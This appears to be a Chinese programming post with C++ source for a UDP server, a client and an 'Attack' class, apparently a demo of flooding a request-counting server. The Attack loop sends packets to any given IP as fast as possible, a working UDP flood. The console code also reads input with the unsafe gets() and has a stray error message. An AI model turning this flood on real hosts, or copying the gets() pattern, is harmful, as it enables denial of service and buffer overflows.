UDP服务和flood攻击
Udp类:对UDP套接字进行封装
udp.h
1 // udp.h对UDP套接字进行封装 2 #ifndef __UDP_H__ 3 #define __UDP_H__ 4 5 class Udp 6 { 7 private: 8 int sock; //套接字描述符 9 public: 10 int Open(char *errbuff); 11 void Close(); 12 int Bind(char* addr, unsigned short port, char* errbuff); 13 int Recv(char* buff, int len, unsigned int &nip, 14 unsigned short &nport, char* errbuff); 15 int Send(char* buff, int len, unsigned int nip, 16 unsigned short nport, char *errbuff); 17 18 int Getfd(){return sock;} 19 Udp(); 20 ~Udp(); 21 }; 22 23 #endif
udp.cpp
1 // udp.cpp 2 #include <sys/socket.h> 3 #include <netinet/in.h> 4 #include <arpa/inet.h> 5 /*以上三个头文件为网络编程所必须*/ 6 7 #include <unistd.h> 8 #include <errno.h> 9 #include <string.h> 10 #include <stdio.h> 11 12 #include "udp.h" 13 #include "defs.h" 14 15 16 Udp::Udp() 17 { 18 sock = -1; 19 } 20 21 Udp::~Udp() 22 { 23 if(sock != -1){ 24 close(sock); 25 } 26 } 27 28 int Udp::Recv( 29 char* buff, 30 int len, 31 unsigned int &nip, 32 unsigned short &nport, 33 char *errbuff 34 ) 35 { 36 int result = 0; 37 socklen_t socklen = sizeof(sockaddr); 38 39 sockaddr_in addr; 40 memset(&addr, 0, sizeof(sockaddr_in)); 41 42 /*设置超时时间*/ 43 fd_set fds; 44 FD_ZERO(&fds); 45 FD_SET(sock, &fds); 46 47 timeval tv; 48 tv.tv_sec = 3; 49 tv.tv_usec = 0; 50 51 result = select(sock + 1, &fds, NULL, NULL, &tv); 52 CURRENTERROR(errbuff); 53 if(-1 == result){ 54 return -1; 55 } 56 else if(0 == result){ 57 return 0; 58 } 59 60 result = recvfrom(sock, buff, len, 0, (sockaddr*)&addr, &socklen); 61 CURRENTERROR(errbuff); 62 63 /*记录对方网络格式的地址和端口*/ 64 nip = addr.sin_addr.s_addr; 65 nport = addr.sin_port; 66 67 return result; 68 } 69 70 int Udp::Send( 71 char* buff, 72 int len, 73 unsigned int nip, 74 unsigned short nport, 75 char *errbuff 76 ) 77 { 78 int result = 0; 79 socklen_t socklen = sizeof(sockaddr); 80 81 sockaddr_in addr; 82 memset(&addr, 0, sizeof(sockaddr_in)); 83 addr.sin_family = AF_INET; 84 addr.sin_addr.s_addr = nip; 85 addr.sin_port = nport; 86 87 result = sendto(sock, buff, len, 0, (sockaddr*)&addr, socklen); 88 CURRENTERROR(errbuff); 89 90 return result; 91 } 92 93 int Udp::Open(char *errbuff) 94 { 95 if(sock != -1){ 96 close(sock); 97 sock = -1; 98 } 99 100 sock = socket(AF_INET, SOCK_DGRAM, 0); 101 CURRENTERROR(errbuff); 102 if(sock == -1){ 103 return -1; 104 } 105 106 return 0; 107 } 108 109 void Udp::Close() 110 { 111 if(sock != -1){ 112 close(sock); 113 sock = -1; 114 } 115 } 116 117 int Udp::Bind(char *ip, unsigned short port, char* errbuff) 118 { 119 sockaddr_in saddr; 120 memset(&saddr, 0, sizeof(sockaddr_in)); 121 saddr.sin_family = AF_INET; 122 saddr.sin_addr.s_addr = inet_addr(ip); 123 saddr.sin_port = htons(port); 124 125 if(saddr.sin_addr.s_addr == INADDR_NONE){ 126 strcpy(errbuff, "Invalid IP format"); 127 return -1; 128 } 129 130 int result; 131 result = bind(sock, (sockaddr*)&saddr, sizeof(sockaddr_in)); 132 CURRENTERROR(errbuff); 133 134 return result; 135 }
Server类:利用Udp类,提供UDP服务
server.h
1 // server.h 2 #ifndef __SERVER_H__ 3 #define __SERVER_H__ 4 5 #include "udp.h" 6 7 class Server 8 { 9 private: 10 Udp udp; 11 unsigned int reqs; // 已经接收到的请求数量 12 13 static Server *pser; // 本对象指针 14 15 Server(); // 在一个程序中,只允许一个对象 16 public: 17 static Server* GetInstance(); // 获取该对象 18 ~Server(); 19 20 int Start(unsigned short port); // 启动UDP服务 21 int Listen(); // 监听网络请求 22 int Stat(); // 统计请求速率 23 }; 24 25 #endif
server.cpp
1 #include "server.h" 2 #include "defs.h" 3 #include "slot.h" 4 5 #include <stdio.h> 6 #include <pthread.h> 7 #include <unistd.h> 8 9 Server *Server::pser = NULL; 10 11 static void* ServiceThread(void *arg) // UDP服务线程处理函数 12 { 13 if(!arg) return NULL; 14 15 Server *pser = (Server *)arg; 16 pser->Listen(); 17 } 18 19 static void* ServiceStat(void *arg) // 请求速率统计线程处理函数 20 { 21 if(!arg) return NULL; 22 23 Server *pser = (Server *)arg; 24 pser->Stat(); 25 } 26 27 int Server::Stat() 28 { 29 float req0, req1; 30 int slen = 3000000; 31 32 // 每隔3秒统计一次 33 while(true){ 34 req0 = reqs; 35 usleep(slen); 36 req1 = reqs; 37 38 printf("Req: %.2f r/s\n", (req1 - req0)/(slen/1000000)); 39 } 40 } 41 42 Server::Server() 43 { 44 reqs = 0; 45 } 46 47 Server::~Server() 48 { 49 if(pser){ 50 delete pser; 51 } 52 } 53 54 Server* Server::GetInstance() 55 { 56 if(!pser){//第一次运行,创建新对象 57 pser = new Server; 58 } 59 60 return pser; 61 } 62 63 int Server::Listen() 64 { 65 char buff[1514]; 66 unsigned int nip; 67 unsigned short nport; 68 int len; 69 70 SlotAck sa; // 这里还没有赋值为加密后的时间戳 71 while(true){ 72 /*等待请求,并作出应答*/ 73 len = udp.Recv(buff, 1514, nip, nport, NULL); 74 if(len > 0) 75 { 76 udp.Send((char *)&sa, sizeof(sa), nip, nport, NULL); 77 reqs++; 78 } 79 } 80 81 return 0; 82 } 83 84 int Server::Start(unsigned short port) 85 { 86 printf("Server: Open...\n"); 87 char errbuff[ERRBUFFLENGTH]; 88 if(-1 == udp.Open(errbuff)){ 89 printf("%s\n", errbuff); 90 return -1; 91 } 92 93 printf("Server: Bind (%d)...\n", port); 94 char ip[] = "0.0.0.0"; 95 if(-1 == udp.Bind(ip, port, errbuff)){ 96 printf("%s\n", errbuff); 97 return -1; 98 } 99 100 // 启动两个线程 101 pthread_t pth; 102 pthread_create(&pth, NULL, ServiceThread, this); 103 pthread_create(&pth, NULL, ServiceStat, this); 104 105 return 0; 106 }
Client类:利用Udp类,完成时间戳请求服务
client.h
1 // client.h 2 #ifndef __CLIENT_H__ 3 #define __CLIENT_H__ 4 5 #include "udp.h" 6 7 class Client 8 { 9 private: 10 Udp udp; 11 unsigned int nserip; // UDP服务器的地址 12 unsigned short nserport; // UDP服务器的端口 13 14 static Client *pclt; // 本对象指针 15 16 Client(); 17 public: 18 static Client* GetInstance(); 19 ~Client(); 20 21 int Start(char* addr, unsigned short port); 22 int Request(); 23 }; 24 25 #endif
client.cpp
1 #include "client.h" 2 #include "defs.h" 3 #include "slot.h" 4 5 #include <stdio.h> 6 #include <unistd.h> 7 #include <pthread.h> 8 9 Client *Client::pclt = NULL; 10 11 static void* ServiceThread(void *arg) /*请求线程处理函数*/ 12 { 13 if(!arg) return NULL; 14 15 Client *pser = (Client *)arg; 16 pser->Request(); 17 } 18 19 Client::Client() 20 { 21 } 22 23 Client::~Client() 24 { 25 if(pclt){ 26 delete pclt; 27 } 28 } 29 30 Client* Client::GetInstance() 31 { 32 if(!pclt){ 33 pclt = new Client; 34 } 35 36 return pclt; 37 } 38 39 int Client::Request() 40 { 41 char buff[1514]; 42 int len; 43 SlotReq sr; 44 45 unsigned int nip; 46 unsigned short nport; 47 while(true){ 48 //每隔1秒请求一次,并等待相应 49 len = udp.Send((char*)&sr, sizeof(sr), nserip, nserport, NULL); 50 len = udp.Recv(buff, 1514, nip, nport, NULL); 51 if(len>0){ 52 printf("Ack!\n"); 53 } 54 else{ 55 printf("NoAck!\n"); 56 } 57 usleep(1000000); 58 } 59 60 return 0; 61 } 62 63 int Client::Start(char* addr, unsigned short port) 64 { 65 printf("Client: Open...\n"); 66 char errbuff[ERRBUFFLENGTH]; 67 if(-1 == udp.Open(errbuff)){ 68 printf("%s\n", errbuff); 69 return -1; 70 } 71 72 nserport = htons(port); 73 nserip = inet_addr(addr); 74 75 pthread_t pth; 76 pthread_create(&pth, NULL, ServiceThread, this); 77 78 return 0; 79 }
Attack类:利用Udp类,完成flood攻击
attack.h
#ifndef __ATTACK_H__ #define __ATTACK_H__ #include "udp.h" class Attack { private: Udp udp; unsigned int nserip; unsigned short nserport; static Attack *pclt; Attack(); public: static Attack* GetInstance(); ~Attack(); int Start(char* addr, unsigned short port); int Request(); }; #endif
attack.cpp
1 #include "attack.h" 2 #include "defs.h" 3 #include "slot.h" 4 5 #include <stdio.h> 6 #include <unistd.h> 7 #include <pthread.h> 8 9 Attack *Attack::pclt = NULL; 10 11 static void* ServiceThread(void *arg) 12 { 13 if(!arg) return NULL; 14 15 Attack *pser = (Attack *)arg; 16 pser->Request(); 17 } 18 19 Attack::Attack() 20 { 21 } 22 23 Attack::~Attack() 24 { 25 if(pclt){ 26 delete pclt; 27 } 28 } 29 30 Attack* Attack::GetInstance() 31 { 32 if(!pclt){ 33 pclt = new Attack; 34 } 35 36 return pclt; 37 } 38 39 int Attack::Request() 40 { 41 char buff[1514]; 42 int len; 43 SlotReq sr; 44 45 unsigned int nip; 46 unsigned short nport; 47 while(true){ 48 len = udp.Send((char*)&sr, sizeof(sr), nserip, nserport, NULL); 49 //usleep(1000000); 50 } 51 52 return 0; 53 } 54 55 int Attack::Start(char* addr, unsigned short port) 56 { 57 printf("Attack: Open...\n"); 58 char errbuff[ERRBUFFLENGTH]; 59 if(-1 == udp.Open(errbuff)){ 60 printf("%s\n", errbuff); 61 return -1; 62 } 63 /* 64 printf("Attack: Bind (%d)...\n", port-1); 65 char ip[] = "0.0.0.0"; 66 if(-1 == udp.Bind(ip, port-1, errbuff)){ 67 printf("%s\n", errbuff); 68 return -1; 69 } 70 */ 71 nserport = htons(port); 72 nserip = inet_addr(addr); 73 74 pthread_t pth; 75 pthread_create(&pth, NULL, ServiceThread, this); 76 77 return 0; 78 }
Bash类:提供界面交互功能
bash.h
#ifndef __BASH_H__ #define __BASH_H__ #include <pthread.h> class Bash { private: pthread_t pth; public: Bash(); ~Bash(); int CmdHdl(char *cmd); int Start(char* errbuff); int Stop(); int IOE(); void HelloMsg(); void ByeMsg(); int AddrCheck(char* ip); }; #endif
bash.cpp
1 #include "bash.h" 2 #include "defs.h" 3 #include "server.h" 4 #include "client.h" 5 #include "attack.h" 6 #include <iostream> 7 using namespace std; 8 #include <stdio.h> 9 #include <stdlib.h> 10 #include <errno.h> 11 12 #define inhead() printf("root@hs # ") 13 14 void* BashThread(void *arg) 15 { 16 Bash *pbash = (Bash*)arg; 17 pbash->IOE(); 18 19 return NULL; 20 } 21 22 void Bash::HelloMsg() 23 { 24 system("clear"); 25 printf("------------------------------------------------------------\n"); 26 printf("-------------------------Bash Start-------------------------\n"); 27 printf("------------------------------------------------------------\n"); 28 } 29 30 void Bash::ByeMsg() 31 { 32 printf("------------------------------------------------------------\n"); 33 printf("--------------------------Bash end--------------------------\n"); 34 printf("------------------------------------------------------------\n"); 35 } 36 37 Bash::Bash() 38 { 39 40 } 41 42 Bash::~Bash() 43 { 44 45 } 46 47 int Bash::AddrCheck(char* ip) 48 { 49 int result = 0; 50 int a[4]; 51 52 result = sscanf(ip, "%d.%d.%d.%d", &a[0], &a[1], &a[2], &a[3]); 53 if(result < 4){ 54 return -1; 55 } 56 57 for(int i = 0; i<4; i++){ 58 if(a[i] >= 255 || a[i] < 0) 59 return -1; 60 } 61 62 return 0; 63 } 64 65 int Bash::Start(char* errbuff) 66 { 67 int result; 68 result = pthread_create(&pth, NULL, BashThread, this); 69 if(result){ 70 CURRENTERROR(errbuff); 71 return -1; 72 } 73 74 pthread_join(pth, NULL); 75 76 return 0; 77 } 78 79 int Bash::CmdHdl(char *cmd) 80 { 81 char cmdh[32], cmdl[BASH_MAXCMDLENGTH - 32]; 82 83 if(!cmd){ 84 return 0; 85 } 86 87 while(*cmd != '\0' && (*cmd == ' ' || *cmd == '\t' || *cmd == '\n')){ 88 cmd++; 89 } 90 91 int i = 0; 92 while(*cmd != '\0' && *cmd != ' ' && *cmd != '\t'){ 93 cmdh[i++] = *cmd++; 94 } 95 cmdh[i] = 0; 96 97 while(*cmd != '\0' && (*cmd == ' ' || *cmd == '\t' || *cmd == '\n')){ 98 cmd++; 99 } 100 101 i = 0; 102 while(*cmd != '\0'){ 103 cmdl[i++] = *cmd++; 104 } 105 cmdl[i] = 0; 106 107 if(!strcmp(cmdh, "quit") || !strcmp(cmdh, "q")){ 108 ByeMsg(); 109 pthread_exit(NULL); 110 } 111 else if(!strcmp(cmdh, "ser") || !strcmp(cmdh, "s")){ 112 Server::GetInstance()->Start(2223); 113 } 114 else if(!strcmp(cmdh, "clt") || !strcmp(cmdh, "c")){ 115 if(-1 == AddrCheck(cmdl)){ 116 printf("IP address [%s] is invalid.\n", cmdl); 117 return -1; 118 }printf("IP address [%s] is invalid.\n", cmdl); 119 Client::GetInstance()->Start(cmdl, 2223); 120 } 121 else if(!strcmp(cmdh, "att") || !strcmp(cmdh, "a")){ 122 if(-1 == AddrCheck(cmdl)){ 123 printf("IP address [%s] is invalid.\n", cmdl); 124 return -1; 125 } 126 Attack::GetInstance()->Start(cmdl, 2223); 127 } 128 else{ 129 printf("\"%s\" is invalid!\n", cmdh); 130 } 131 132 return 0; 133 } 134 135 int Bash::IOE() 136 { 137 HelloMsg(); 138 139 char ibuff[BASH_MAXCMDLENGTH]; 140 while(true){ 141 inhead(); 142 gets(ibuff); 143 CmdHdl(ibuff); 144 } 145 146 return 0; 147 } 148 149 int Bash::Stop() 150 { 151 152 }